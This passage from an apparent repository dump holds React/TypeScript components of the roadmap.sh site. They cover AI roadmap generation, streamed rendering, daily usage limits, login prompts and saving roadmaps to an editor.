'./AITermSuggestionInput.tsx';\nimport { AuthenticationForm } from '../AuthenticationFlow/AuthenticationForm.tsx';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal.tsx';\nimport { useIsPaidUser } from '../../queries/billing.ts';\n\nexport type GetAIRoadmapLimitResponse = {\n  used: number;\n  limit: number;\n  topicUsed: number;\n  topicLimit: number;\n};\n\nconst ROADMAP_ID_REGEX = new RegExp('@ROADMAPID:(\\\\w+)@');\nconst ROADMAP_SLUG_REGEX = new RegExp(/@ROADMAPSLUG:([\\w-]+)@/);\n\nexport type RoadmapNodeDetails = {\n  nodeId: string;\n  nodeType: string;\n  targetGroup?: SVGElement;\n  nodeTitle?: string;\n  parentTitle?: string;\n  parentId?: string;\n};\n\nexport function getNodeDetails(\n  svgElement: SVGElement,\n): RoadmapNodeDetails | null {\n  const targetGroup = (svgElement?.closest('g') as SVGElement) || {};\n\n  const nodeId = targetGroup?.dataset?.nodeId;\n  const nodeType = targetGroup?.dataset?.type;\n  const nodeTitle = targetGroup?.dataset?.title;\n  const parentTitle = targetGroup?.dataset?.parentTitle;\n  const parentId = targetGroup?.dataset?.parentId;\n  if (!nodeId || !nodeType) return null;\n\n  return { nodeId, nodeType, targetGroup, nodeTitle, parentTitle, parentId };\n}\n\nexport const allowedClickableNodeTypes = [\n  'topic',\n  'subtopic',\n  'button',\n  'link-item',\n];\n\ntype GetAIRoadmapResponse = {\n  id: string;\n  term: string;\n  title: string;\n  data: string;\n};\n\ntype GenerateRoadmapProps = {\n  roadmapId?: string;\n  slug?: string;\n  isAuthenticatedUser?: boolean;\n};\n\nexport function GenerateRoadmap(props: GenerateRoadmapProps) {\n  const {\n    roadmapId: defaultRoadmapId,\n    slug: defaultRoadmapSlug,\n    isAuthenticatedUser = isLoggedIn(),\n  } = props;\n\n  const roadmapContainerRef = useRef<HTMLDivElement>(null);\n\n  const { isPaidUser, isLoading: isLoadingPaidUser } = useIsPaidUser();\n  const { rc: referralCode } = getUrlParams() as {\n    rc?: string;\n  };\n  const toast = useToast();\n\n  const [roadmapId, setRoadmapId] = useState<string | undefined>(\n    defaultRoadmapId,\n  );\n  const [roadmapSlug, setRoadmapSlug] = useState<string | undefined>(\n    defaultRoadmapSlug,\n  );\n  const [hasSubmitted, setHasSubmitted] = useState<boolean>(Boolean(roadmapId));\n  const [isLoading, setIsLoading] = useState(false);\n  const [isLoadingResults, setIsLoadingResults] = useState(false);\n  const [roadmapTerm, setRoadmapTerm] = useState('');\n  const [currentRoadmap, setCurrentRoadmap] =\n    useState<GetAIRoadmapResponse | null>(null);\n  const [generatedRoadmapContent, setGeneratedRoadmapContent] = useState('');\n  const [selectedNode, setSelectedNode] = useState<RoadmapNodeDetails | null>(\n    null,\n  );\n\n  const [roadmapLimit, setRoadmapLimit] = useState(0);\n  const [roadmapLimitUsed, setRoadmapLimitUsed] = useState(0);\n  const [roadmapTopicLimit, setRoadmapTopicLimit] = useState(0);\n  const [roadmapTopicLimitUsed, setRoadmapTopicLimitUsed] = useState(0);\n  const [isConfiguring, setIsConfiguring] = useState(false);\n\n  const isKeyOnly = IS_KEY_ONLY_ROADMAP_GENERATION;\n\n  const renderRoadmap = (roadmap: string) => {\n    const result = generateAICourseRoadmapStructure(roadmap);\n    const { nodes, edges } = generateAIRoadmapFromText(result);\n    const svg = renderFlowJSON({ nodes, edges });\n    const container = roadmapContainerRef?.current;\n    if (!svg || !container) {\n      return;\n    }\n\n    replaceChildren(container, svg);\n  };\n\n  const loadTermRoadmap = async (term: string) => {\n    setIsLoading(true);\n    setHasSubmitted(true);\n\n    deleteUrlParam('id');\n    setCurrentRoadmap(null);\n\n    const origin = window.location.origin;\n    const response = await fetch(\n      `${import.meta.env.PUBLIC_API_URL}/v1-generate-ai-roadmap`,\n      {\n        method: 'POST',\n        headers: {\n          'Content-Type': 'application/json',\n        },\n        credentials: 'include',\n        body: JSON.stringify({ term }),\n      },\n    );\n\n    if (!response.ok) {\n      const data = await response.json();\n\n      toast.error(data?.message || 'Something went wrong');\n      setIsLoading(false);\n\n      // Logout user if token is invalid\n      if (data.status === 401) {\n        removeAuthToken();\n        window.location.reload();\n      }\n    }\n\n    const reader = response.body?.getReader();\n\n    if (!reader) {\n      setIsLoading(false);\n      toast.error('Something went wrong');\n      return;\n    }\n\n    await readAIRoadmapStream(reader, {\n      onStream: async (result) => {\n        if (result.includes('@ROADMAPID') || result.includes('@ROADMAPSLUG')) {\n          // @ROADMAPID: is a special token that we use to identify the roadmap\n          // @ROADMAPID:1234@ is the format, we will remove the token and the id\n          // and replace it with a empty string\n          const roadmapId = result.match(ROADMAP_ID_REGEX)?.[1] || '';\n          const roadmapSlug = result.match(ROADMAP_SLUG_REGEX)?.[1] || '';\n\n          if (roadmapSlug) {\n            window.history.pushState(\n              {\n                roadmapId,\n                roadmapSlug,\n              },\n              '',\n              `${origin}/ai-roadmaps/${roadmapSlug}`,\n            );\n          }\n\n          result = result\n            .replace(ROADMAP_ID_REGEX, '')\n            .replace(ROADMAP_SLUG_REGEX, '');\n\n          setRoadmapId(roadmapId);\n          setRoadmapSlug(roadmapSlug);\n\n          const roadmapTitle =\n            result.trim().split('\\n')[0]?.replace('#', '')?.trim() || term;\n          setRoadmapTerm(roadmapTitle);\n          setCurrentRoadmap({\n            id: roadmapId,\n            term: roadmapTerm,\n            title: roadmapTitle,\n            data: result,\n          });\n        }\n\n        renderRoadmap(result);\n      },\n      onStreamEnd: async (result) => {\n        result = result\n          .replace(ROADMAP_ID_REGEX, '')\n          .replace(ROADMAP_SLUG_REGEX, '');\n\n        setGeneratedRoadmapContent(result);\n        loadAIRoadmapLimit().finally(() => {});\n      },\n    });\n\n    setIsLoading(false);\n  };\n\n  const handleSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    if (!roadmapTerm || isLoadingResults) {\n      return;\n    }\n\n    if (roadmapTerm === currentRoadmap?.term) {\n      return;\n    }\n\n    loadTermRoadmap(roadmapTerm).finally(() => null);\n  };\n\n  const saveAIRoadmap = async () => {\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n\n    pageProgressMessage.set('Redirecting to Editor');\n\n    const { nodes, edges } = generateAIRoadmapFromText(generatedRoadmapContent);\n\n    const { response, error } = await httpPost<{\n      roadmapId: string;\n      roadmapSlug: string;\n    }>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-save-ai-roadmap/${currentRoadmap?.id}`,\n      {\n        title: roadmapTerm,\n        nodes: nodes.map((node) => ({\n          ...node,\n\n          // To reset the width and height of the node\n          // so that it can be calculated based on the content in the editor\n          width: undefined,\n          height: undefined,\n          style: {\n            ...node.style,\n            width: undefined,\n            height: undefined,\n          },\n          measured: {\n            width: undefined,\n            height: undefined,\n          },\n        })),\n        edges,\n      },\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Something went wrong');\n      pageProgressMessage.set('');\n      setIsLoading(false);\n      return;\n    }\n\n    setIsLoading(false);\n    pageProgressMessage.set('');\n    return {\n      roadmapId: response.roadmapId,\n      roadmapSlug: response.roadmapSlug,\n    };\n  };\n\n  const downloadGeneratedRoadmapContent = async () => {\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n\n    pageProgressMessage.set('Downloading Roadmap');\n\n    const node = document.getElementById('roadmap-container');\n    if (!node) {\n      toast.error('Something went wrong');\n      return;\n    }\n\n    try {\n      await downloadGeneratedRoadmapImage(roadmapTerm, node);\n      pageProgressMessage.set('');\n    } catch (error) {\n      console.error(error);\n      toast.error('Something went wrong');\n    }\n  };\n\n  const loadAIRoadmapLimit = async () => {\n    const { response, error } = await httpGet<GetAIRoadmapLimitResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-ai-roadmap-limit`,\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Something went wrong');\n      return;\n    }\n\n    const { limit, used, topicLimit, topicUsed } = response;\n    setRoadmapLimit(limit);\n    setRoadmapLimitUsed(used);\n    setRoadmapTopicLimit(topicLimit);\n    setRoadmapTopicLimitUsed(topicUsed);\n  };\n\n  const loadAIRoadmap = async (roadmapId: string) => {\n    pageProgressMessage.set('Loading Roadmap');\n\n    const { response, error } = await httpGet<{\n      term: string;\n      title: string;\n      data: string;\n    }>(`${import.meta.env.PUBLIC_API_URL}/v1-get-ai-roadmap/${roadmapId}`);\n\n    if (error || !response) {\n      toast.error(error?.message || 'Something went wrong');\n      setIsLoading(false);\n      return;\n    }\n\n    const { term, title, data } = response;\n    renderRoadmap(data);\n\n    setCurrentRoadmap({\n      id: roadmapId,\n      title: title,\n      term: term,\n      data,\n    });\n\n    setRoadmapTerm(title || term);\n    setGeneratedRoadmapContent(data);\n    visitAIRoadmap(roadmapId);\n  };\n\n  const handleNodeClick = useCallback(\n    (e: MouseEvent<HTMLDivElement, globalThis.MouseEvent>) => {\n      if (isLoading) {\n        return;\n      }\n\n      const target = e.target as SVGElement;\n      const { nodeId, nodeType, targetGroup, nodeTitle, parentTitle } =\n        getNodeDetails(target) || {};\n      if (\n        !nodeId ||\n        !nodeType ||\n        !allowedClickableNodeTypes.includes(nodeType) ||\n        !nodeTitle\n      )\n        return;\n\n      if (nodeType === 'button' || nodeType === 'link-item') {\n        const link = targetGroup?.dataset?.link || '';\n        const isExternalLink = link.startsWith('http');\n        if (isExternalLink) {\n          window.open(link, '_blank');\n        } else {\n          window.location.href = link;\n        }\n        return;\n      }\n\n      setSelectedNode({\n        nodeId,\n        nodeType,\n        nodeTitle,\n        ...(nodeType === 'subtopic' && { parentTitle }),\n      });\n    },\n    [isLoading],\n  );\n\n  useEffect(() => {\n    loadAIRoadmapLimit().finally(() => {});\n  }, []);\n\n  useEffect(() => {\n    if (!referralCode || isLoggedIn()) {\n      deleteUrlParam('rc');\n      return;\n    }\n\n    setAIReferralCode(referralCode);\n    deleteUrlParam('rc');\n    showLoginPopup();\n  }, []);\n\n  useEffect(() => {\n    if (!roadmapId || roadmapId === currentRoadmap?.id) {\n      return;\n    }\n\n    loadAIRoadmap(roadmapId).finally(() => {\n      pageProgressMessage.set('');\n    });\n  }, [roadmapId, currentRoadmap]);\n\n  useEffect(() => {\n    const handlePopState = (e: PopStateEvent) => {\n      const { roadmapId, roadmapSlug } = e.state || {};\n      if (!roadmapId || !roadmapSlug) {\n        window.location.reload();\n        return;\n      }\n\n      setIsLoading(true);\n      setHasSubmitted(true);\n      setRoadmapId(roadmapId);\n      setRoadmapSlug(roadmapSlug);\n      loadAIRoadmap(roadmapId).finally(() => {\n        setIsLoading(false);\n        pageProgressMessage.set('');\n      });\n    };\n\n    window.addEventListener('popstate', handlePopState);\n    return () => {\n      window.removeEventListener('popstate', handlePopState);\n    };\n  }, []);\n\n  if (!hasSubmitted) {\n    return (\n      <RoadmapSearch\n        roadmapTerm={roadmapTerm}\n        setRoadmapTerm={setRoadmapTerm}\n        handleSubmit={handleSubmit}\n        limit={roadmapLimit}\n        limitUsed={roadmapLimitUsed}\n        loadAIRoadmapLimit={loadAIRoadmapLimit}\n        isKeyOnly={isKeyOnly}\n        onLoadTerm={(term) => {\n          setRoadmapTerm(term);\n          loadTermRoadmap(term).finally(() => {});\n        }}\n      />\n    );\n  }\n\n  const pageUrl = `https://roadmap.sh/ai-roadmaps/${roadmapSlug}`;\n  const canGenerateMore = roadmapLimitUsed < roadmapLimit || isPaidUser;\n  const isGenerateButtonDisabled =\n    isLoadingResults ||\n    (isAuthenticatedUser &&\n      // if no limit,\n      (!roadmapLimit ||\n        // no roadmap term,\n        !roadmapTerm ||\n        // if limit is reached and user is not paid user,\n        (roadmapLimitUsed >= roadmapLimit && !isPaidUser) ||\n        // if roadmap term is the same as the current roadmap term,\n        roadmapTerm === currentRoadmap?.term ||\n        // if key only,\n        isKeyOnly));\n\n  return (\n    <>\n      {isConfiguring && (\n        <UpgradeAccountModal\n          onClose={() => {\n            setIsConfiguring(false);\n            loadAIRoadmapLimit().finally(() => null);\n          }}\n        />\n      )}\n\n      {selectedNode && currentRoadmap && !isLoading && (\n        <RoadmapTopicDetail\n          nodeId={selectedNode.nodeId}\n          nodeType={selectedNode.nodeType}\n          nodeTitle={selectedNode.nodeTitle}\n          parentTitle={selectedNode.parentTitle}\n          onConfigureOpenAI={() => {\n            setSelectedNode(null);\n            setIsConfiguring(true);\n          }}\n          onClose={() => {\n            setSelectedNode(null);\n            loadAIRoadmapLimit().finally(() => {});\n          }}\n          roadmapId={currentRoadmap?.id || ''}\n          topicLimit={roadmapTopicLimit}\n          topicLimitUsed={roadmapTopicLimitUsed}\n          onTopicContentGenerateComplete={async () => {\n            await loadAIRoadmapLimit();\n          }}\n        />\n      )}\n\n      <section className=\"flex grow flex-col bg-gray-100\">\n        <div className=\"flex items-center justify-center border-b bg-white py-3 sm:py-6\">\n          {isLoading && (\n            <span className=\"flex items-center gap-2 rounded-full bg-black px-3 py-1 text-white\">\n              <Spinner isDualRing={false} innerFill={'white'} />\n              Generating roadmap ..\n            </span>\n          )}\n          {!isLoading && (\n            <div className=\"container flex grow flex-col items-start\">\n              <AIRoadmapAlert />\n              {isKeyOnly && isAuthenticatedUser && !isPaidUser && (\n                <div className=\"flex flex-row gap-4\">\n                  <p className={'text-left text-red-500'}>\n                    We have hit the limit for AI roadmap generation. Please try\n                    again tomorrow or{' '}\n                    <button\n                      onClick={() => setIsConfiguring(true)}\n                      className=\"font-semibold text-purple-600 underline underline-offset-2\"\n                    >\n                      add more credits.\n                    </button>\n                  </p>\n                </div>\n              )}\n              {!isKeyOnly && isAuthenticatedUser && !isPaidUser && (\n                <div className=\"mt-2 flex w-full flex-col items-start justify-between gap-2 text-sm sm:flex-row sm:items-center sm:gap-0\">\n                  <span>\n                    <span\n                      className={cn(\n                        'mr-0.5 inline-block rounded-xl border px-1.5 text-center text-sm text-gray-800 tabular-nums',\n                        {\n                          'animate-pulse border-zinc-300 bg-zinc-300 text-zinc-300':\n                            !roadmapLimit,\n                        },\n                      )}\n                    >\n                      {roadmapLimitUsed} of {roadmapLimit}\n                    </span>{' '}\n                    roadmaps generated today.\n                  </span>\n                  <button\n                    onClick={() => setIsConfiguring(true)}\n                    className=\"rounded-xl border border-current px-2 py-0.5 text-left text-sm text-blue-500 transition-colors hover:bg-blue-400 hover:text-white\"\n                  >\n                    Need to generate more?{' '}\n                    <span className=\"font-semibold\">Click here.</span>\n                  </button>\n                </div>\n              )}\n              {!isAuthenticatedUser && (\n                <button\n                  className=\"mt-2 rounded-xl border border-current px-2.5 py-0.5 text-left text-sm font-medium text-blue-500 transition-colors hover:bg-blue-500 hover:text-white sm:text-center\"\n                  onClick={showLoginPopup}\n                >\n                  Login to generate your own roadmaps\n                </button>\n              )}\n              <form\n                onSubmit={handleSubmit}\n                className=\"my-3 flex w-full flex-col gap-2 sm:flex-row sm:items-center sm:justify-center\"\n              >\n                <AITermSuggestionInput\n                  value={roadmapTerm}\n                  onValueChange={(value) => setRoadmapTerm(value)}\n                  placeholder=\"e.g. Try searching for Ansible or DevOps\"\n                  wrapperClassName=\"grow\"\n                  onSelect={(id, title) => {\n                    loadTermRoadmap(title).finally(() => null);\n                  }}\n                />\n                <button\n                  type={'submit'}\n                  className={cn(\n                    'flex min-w-[127px] shrink-0 items-center justify-center gap-2 rounded-md bg-black px-4 py-2.5 text-white',\n                    'disabled:cursor-not-allowed disabled:opacity-50',\n                  )}\n                  onClick={(e) => {\n                    if (!isAuthenticatedUser) {\n                      e.preventDefault();\n                      showLoginPopup();\n                    }\n                  }}\n                  disabled={isGenerateButtonDisabled}\n                >\n                  {isLoadingResults && (\n                    <>\n                      <span>Please wait..</span>\n                    </>\n                  )}\n                  {!isLoadingResults && (\n                    <>\n                      {!isAuthenticatedUser && (\n                        <>\n                          <Wand size={20} />\n                          Generate\n                        </>\n                      )}\n\n                      {isAuthenticatedUser && (\n                        <>\n                          {roadmapLimit > 0 && canGenerateMore && (\n                            <>\n                              <Wand size={20} />\n                              Generate\n                            </>\n                          )}\n\n                          {roadmapLimit === 0 && <span>Please wait..</span>}\n\n                          {roadmapLimit > 0 && !canGenerateMore && (\n                            <span className=\"flex items-center\">\n                              <Ban size={15} className=\"mr-2\" />\n                              Limit reached\n                            </span>\n                          )}\n                        </>\n                      )}\n                    </>\n                  )}\n                </button>\n              </form>\n              <div className=\"flex w-full items-center justify-between gap-2\">\n                <div className=\"flex items-center justify-between gap-2\">\n                  <button\n                    className=\"inline-flex items-center justify-center gap-2 rounded-md bg-yellow-400 py-1.5 pr-3 pl-2.5 text-xs font-medium transition-opacity duration-300 hover:bg-yellow-500 sm:text-sm\"\n                    onClick={downloadGeneratedRoadmapContent}\n                  >\n                    <Download size={15} />\n                    Download\n                  </button>\n                  {roadmapId && (\n                    <ShareRoadmapButton\n                      description={`Check out ${roadmapTerm} roadmap I generated on roadmap.sh`}\n                      pageUrl={pageUrl}\n                    />\n                  )}\n                </div>\n\n                <div className=\"flex items-center justify-between gap-2\">\n                  <button\n                    className=\"inline-flex items-center justify-center gap-2 rounded-md bg-gray-200 py-1.5 pr-3 pl-2.5 text-xs font-medium text-black transition-colors duration-300 hover:bg-gray-300 sm:text-sm\"\n                    onClick={async () => {\n                      const response = await saveAIRoadmap();\n                      if (response?.roadmapSlug) {\n                        window.location.href = `/r/${response.roadmapSlug}`;\n                      }\n                    }}\n                    disabled={isLoading}\n                  >\n                    <Save size={15} />\n                    <span className=\"hidden sm:inline\">\n                      Save and Start Learning\n                    </span>\n                    <span className=\"inline sm:hidden\">Start Learning</span>\n                  </button>\n\n                  <button\n                    className=\"hidden items-center justify-center gap-2 rounded-md bg-gray-200 py-1.5 pr-3 pl-2.5 text-xs font-medium text-black transition-colors duration-300 hover:bg-gray-300 sm:inline-flex sm:text-sm\"\n                    onClick={async () => {\n                      const response = await saveAIRoadmap();\n                      if (response?.roadmapId) {\n                        window.open(\n                          `${import.meta.env.PUBLIC_EDITOR_APP_URL}/${response?.roadmapId}`,\n                          '_blank',\n                        );\n                      }\n                    }}\n                    disabled={isLoading}\n                  >\n                    <PenSquare size={15} />\n                    Edit in Editor\n                  </button>\n                </div>\n              </div>\n            </div>\n          )}\n        </div>\n        <div\n          className={cn({\n            'relative mb-20 max-h-[800px] min-h-[800px] overflow-hidden sm:max-h-[1000px] md:min-h-[1000px] lg:max-h-[1200px] lg:min-h-[1200px]':\n              !isAuthenticatedUser,\n          })}\n        >\n          <div\n            ref={roadmapContainerRef}\n            id=\"roadmap-container\"\n            onClick={handleNodeClick}\n            className=\"relative min-h-[400px] px-4 py-5 [&>svg]:mx-auto [&>svg]:max-w-[1300px]\"\n          />\n          {!isAuthenticatedUser && (\n            <div className=\"absolute right-0 bottom-0 left-0\">\n              <div className=\"h-80 w-full bg-linear-to-t from-gray-100 to-transparent\" />\n              <div className=\"bg-gray-100\">\n                <div className=\"mx-auto max-w-[600px] flex-col items-center justify-center bg-gray-100 px-5 pt-px\">\n                  <div className=\"mt-8 text-center\">\n                    <h2 className=\"mb-0.5 text-xl font-medium sm:mb-3 sm:text-2xl\">\n                      Sign up to View the full roadmap\n                    </h2>\n                    <p className=\"mb-6 text-sm text-balance text-gray-600 sm:text-base\">\n                      You must be logged in to view the complete roadmap\n                    </p>\n                  </div>\n                  <div className=\"mx-auto max-w-[350px]\">\n                    <AuthenticationForm type=\"signup\" />\n\n                    <div className=\"mt-6 text-center text-sm text-slate-600\">\n                      Already have an account?{' '}\n                      <a\n                        href=\"/login\"\n                        className=\"font-medium text-blue-700 hover:text-blue-600\"\n                      >\n                        Login\n                      </a>\n                    </div>\n                  </div>\n                </div>\n              </div>\n            </div>\n          )}\n        </div>\n      </section>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateRoadmap/RoadmapSearch.tsx",
    "content": "import { ArrowUpRight, Ban, Telescope, Wand } from 'lucide-react';\nimport type { FormEvent } from 'react';\nimport { useEffect, useState } from 'react';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { cn } from '../../lib/classname.ts';\nimport { AITermSuggestionInput } from './AITermSuggestionInput.tsx';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal.tsx';\nimport { useIsPaidUser } from '../../queries/billing.ts';\n\ntype RoadmapSearchProps = {\n  roadmapTerm: string;\n  setRoadmapTerm: (topic: string) => void;\n  handleSubmit: (e: FormEvent<HTMLFormElement>) => void;\n  loadAIRoadmapLimit: () => void;\n  onLoadTerm: (topic: string) => void;\n  limit: number;\n  limitUsed: number;\n  isKeyOnly: boolean;\n};\n\nexport function RoadmapSearch(props: RoadmapSearchProps) {\n  const {\n    roadmapTerm,\n    setRoadmapTerm,\n    handleSubmit,\n    limit = 0,\n    limitUsed = 0,\n    onLoadTerm,\n    loadAIRoadmapLimit,\n    isKeyOnly,\n  } = props;\n\n  const { isPaidUser, isLoading } = useIsPaidUser();\n  const canGenerateMore = limitUsed < limit;\n  const [isConfiguring, setIsConfiguring] = useState(false);\n  const [isAuthenticatedUser, setIsAuthenticatedUser] = useState(false);\n  const [isLoadingResults, setIsLoadingResults] = useState(false);\n\n  useEffect(() => {\n    setIsAuthenticatedUser(isLoggedIn());\n  }, []);\n\n  const randomTerms = ['OAuth', 'UI / UX', 'SRE', 'DevRel'];\n\n  return (\n    <div className=\"flex grow flex-col items-center px-4 py-6 sm:px-6 md:my-24 lg:my-32\">\n      {isConfiguring && (\n        <UpgradeAccountModal\n          onClose={() => {\n            setIsConfiguring(false);\n            loadAIRoadmapLimit();\n          }}\n        />\n      )}\n      <div className=\"flex flex-col gap-0 text-center sm:gap-2\">\n        <h1 className=\"relative text-2xl font-medium sm:text-3xl\">\n          <span className=\"hidden sm:inline\">Generate roadmaps with AI</span>\n          <span className=\"inline sm:hidden\">AI Roadmap Generator</span>\n        </h1>\n        <p className=\"text-base text-gray-500 sm:text-lg\">\n          <span className=\"hidden sm:inline\">\n            Enter a topic and let the AI generate a roadmap for you\n          </span>\n          <span className=\"inline sm:hidden\">\n            Enter a topic to generate a roadmap\n          </span>\n        </p>\n      </div>\n      <div className=\"my-3 flex w-full max-w-[600px] flex-col items-center gap-3 sm:my-5\">\n        <form\n          onSubmit={(e) => {\n            if (limit > 0 && canGenerateMore) {\n              handleSubmit(e);\n            } else {\n              e.preventDefault();\n            }\n          }}\n          className=\"flex w-full flex-col gap-2 sm:flex-row\"\n        >\n          <AITermSuggestionInput\n            autoFocus={true}\n            value={roadmapTerm}\n            onValueChange={(value) => setRoadmapTerm(value)}\n            placeholder=\"Enter a topic to generate a roadmap for\"\n            wrapperClassName=\"w-full\"\n            onSelect={(roadmapId, roadmapTitle) => {\n              onLoadTerm(roadmapTitle);\n            }}\n          />\n          <button\n            className={cn(\n              'flex min-w-[154px] shrink-0 items-center justify-center gap-2 rounded-md bg-black px-4 py-2 text-white',\n              'disabled:cursor-not-allowed disabled:opacity-50',\n            )}\n            onClick={(e) => {\n              if (!isAuthenticatedUser) {\n                e.preventDefault();\n                showLoginPopup();\n              }\n            }}\n            disabled={\n              isLoadingResults ||\n              (isAuthenticatedUser &&\n                (!limit || !roadmapTerm || limitUsed >= limit || isKeyOnly))\n            }\n          >\n            {isLoadingResults && (\n              <>\n                <span>Please wait..</span>\n              </>\n            )}\n\n            {!isLoadingResults && (\n              <>\n                {!isAuthenticatedUser && (\n                  <>\n                    <Wand size={20} />\n                    Generate\n                  </>\n                )}\n                {isAuthenticatedUser && (\n                  <>\n                    {(!limit || canGenerateMore) && (\n                      <>\n                        <Wand size={20} />\n                        Generate\n                      </>\n                    )}\n\n                    {limit > 0 && !canGenerateMore && (\n                      <span className=\"flex items-center text-base\">\n                        <Ban size={15} className=\"mr-2\" />\n                        Limit reached\n                      </span>\n                    )}\n                  </>\n                )}\n              </>\n            )}\n          </button>\n        </form>\n        <div className=\"flex flex-row flex-wrap items-center justify-center gap-2\">\n          {randomTerms.map((term) => (\n            <button\n              key={term}\n              disabled={isAuthenticatedUser && (!limit || !canGenerateMore)}\n              type=\"button\"\n              onClick={() => {\n                if (!isAuthenticatedUser) {\n                  showLoginPopup();\n                  return;\n                }\n\n                onLoadTerm(term);\n              }}\n              className=\"flex items-center gap-1.5 rounded-full border px-2 py-0.5 text-sm transition-colors hover:border-black hover:bg-gray-100 disabled:cursor-not-allowed disabled:opacity-50\"\n            >\n              {term} <ArrowUpRight size={17} />\n            </button>\n          ))}\n          <a\n            href=\"/ai-roadmaps/explore\"\n            className=\"flex items-center gap-1.5 rounded-full border border-black bg-gray-700 px-2 py-0.5 text-sm text-white transition-colors hover:border-black hover:bg-black\"\n          >\n            Explore AI Roadmaps <Telescope size={17} />\n          </a>\n        </div>\n      </div>\n      {!isAuthenticatedUser && (\n        <div className=\"mt-8 flex max-w-[500px] flex-col items-center gap-3 rounded-xl border border-gray-400 px-4 pb-4 pt-3\">\n          <p className={'text-center text-gray-500'}>\n            <button\n              onClick={showLoginPopup}\n              className=\"font-medium text-purple-600 underline underline-offset-2 hover:text-purple-800\"\n            >\n              Sign up (free and takes 2s) or login\n            </button>{' '}\n            to start generating roadmaps. Or explore the ones made by the\n            community.\n          </p>\n          <p className=\"flex flex-col gap-2 text-center text-gray-500 sm:flex-row\">\n            <a\n              href=\"/ai-roadmaps/explore\"\n              className=\"flex items-center gap-1.5 rounded-full border border-purple-600 px-2.5 py-0.5 text-sm text-purple-600 transition-colors hover:bg-purple-600 hover:text-white\"\n            >\n              Explore AI Generated Roadmaps <Telescope size={15} />\n            </a>\n            <a\n              href=\"/roadmaps\"\n              className=\"flex items-center gap-1.5 rounded-full border border-purple-600 px-2.5 py-0.5 text-sm text-purple-600 transition-colors hover:bg-purple-600 hover:text-white\"\n            >\n              Visit Official Roadmaps <ArrowUpRight size={15} />\n            </a>\n          </p>\n        </div>\n      )}\n      {isKeyOnly && isAuthenticatedUser && !isPaidUser && (\n        <div className=\"mx-auto mt-12 flex max-w-[450px] flex-col items-center gap-4\">\n          <p className={'text-center text-red-500'}>\n            We have hit the limit for AI roadmap generation. Please try again\n            again later or{' '}\n            <button\n              onClick={() => setIsConfiguring(true)}\n              className=\"font-semibold text-purple-600 underline underline-offset-2\"\n            >\n              get more credits.\n            </button>\n          </p>\n\n          <p className=\"flex flex-col gap-2 text-center text-gray-500 sm:flex-row\">\n            <a\n              href=\"/ai-roadmaps/explore\"\n              className=\"flex items-center gap-1.5 rounded-full border border-purple-600 px-2.5 py-0.5 text-sm text-purple-600 transition-colors hover:bg-purple-600 hover:text-white\"\n            >\n              Explore AI Roadmaps <Telescope size={15} />\n            </a>\n            <a\n              href=\"/roadmaps\"\n              className=\"flex items-center gap-1.5 rounded-full border border-purple-600 px-2.5 py-0.5 text-sm text-purple-600 transition-colors hover:bg-purple-600 hover:text-white\"\n            >\n              Visit Official Roadmaps <ArrowUpRight size={15} />\n            </a>\n          </p>\n        </div>\n      )}\n      {!isKeyOnly && limit > 0 && isAuthenticatedUser && !isPaidUser && (\n        <div className=\"mt-12 flex flex-col items-center gap-4\">\n          <p className=\"text-center text-gray-500\">\n            You have generated{' '}\n            <span\n              className={\n                'inline-block min-w-[50px] rounded-xl border px-1.5 text-center text-sm tabular-nums text-gray-800'\n              }\n            >\n              {limitUsed} of {limit}\n            </span>{' '}\n            roadmaps today.\n          </p>\n          <p className=\"flex items-center text-sm\">\n            <button\n              onClick={() => setIsConfiguring(true)}\n              className=\"rounded-xl border border-current px-2 py-0.5 text-sm text-blue-500 transition-colors hover:bg-blue-400 hover:text-white\"\n            >\n              Need to generate more?{' '}\n              <span className=\"font-semibold\">Click here.</span>\n            </button>\n          </p>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateRoadmap/RoadmapTopicDetail.tsx",
    "content": "import { useEffect, useMemo, useRef, useState } from 'react';\n\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { markdownToHtml } from '../../lib/markdown';\nimport { Ban, Contact, FileText, X, ArrowRight } from 'lucide-react';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport type { RoadmapNodeDetails } from './GenerateRoadmap';\nimport { isLoggedIn, removeAuthToken } from '../../lib/jwt';\nimport { cn } from '../../lib/classname';\nimport { showLoginPopup } from '../../lib/popup';\nimport { readAIRoadmapContentStream } from '../../lib/ai';\n\ntype RoadmapTopicDetailProps = RoadmapNodeDetails & {\n  onClose?: () => void;\n  roadmapId: string;\n  topicLimitUsed: number;\n  topicLimit: number;\n  onTopicContentGenerateComplete?: () => void;\n  onConfigureOpenAI?: () => void;\n};\n\nexport function RoadmapTopicDetail(props: RoadmapTopicDetailProps) {\n  const {\n    onClose,\n    roadmapId,\n    nodeTitle,\n    parentTitle,\n    topicLimit,\n    topicLimitUsed,\n    onTopicContentGenerateComplete,\n    onConfigureOpenAI,\n  } = props;\n\n  const [isLoading, setIsLoading] = useState(false);\n  const [error, setError] = useState('');\n  const [topicHtml, setTopicHtml] = useState('');\n  const [isStreaming, setIsStreaming] = useState(false);\n\n  const topicRef = useRef<HTMLDivElement>(null);\n\n  const abortController = useMemo(() => new AbortController(), []);\n  const generateAiRoadmapTopicContent = async () => {\n    setIsLoading(true);\n    setError('');\n\n    if (!isLoggedIn()) {\n      return;\n    }\n\n    if (!roadmapId || !nodeTitle) {\n      setIsLoading(false);\n      setError('Invalid roadmap id or node title');\n      return;\n    }\n\n    const response = await fetch(\n      `${import.meta.env.PUBLIC_API_URL}/v1-generate-ai-roadmap-content/${roadmapId}`,\n      {\n        method: 'POST',\n        headers: {\n          'Content-Type': 'application/json',\n        },\n        credentials: 'include',\n        body: JSON.stringify({\n          nodeTitle,\n          parentTitle,\n        }),\n        signal: abortController.signal,\n      },\n    